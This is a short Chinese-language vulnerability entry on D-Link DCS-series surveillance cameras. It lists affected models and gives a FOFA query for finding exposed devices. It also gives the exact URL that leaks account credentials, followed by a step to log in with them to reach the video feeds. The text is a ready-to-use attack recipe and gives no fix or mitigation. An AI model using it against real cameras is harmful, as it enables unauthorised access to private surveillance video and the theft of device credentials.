漏洞描述
D-Link DCS系列監控 通過訪問特定的URL得到賬號密碼信息,攻擊者通過漏洞進入后台可以獲取視頻監控頁面
漏洞影響
Note
DCS-2530L DCS-2670L DCS-4603 DCS-4622 DCS-4701E DCS-4703E DCS-4705E DCS-4802E DCS-P703
FOFA
Note
app="D_Link-DCS-2530L"
訪問登錄界面
出現漏洞的 Url 為, 其中泄露了賬號密碼
1 http://xxx.xxx.xxx.xxx/config/getuser?index=0
使用泄露的賬號密碼登陸系統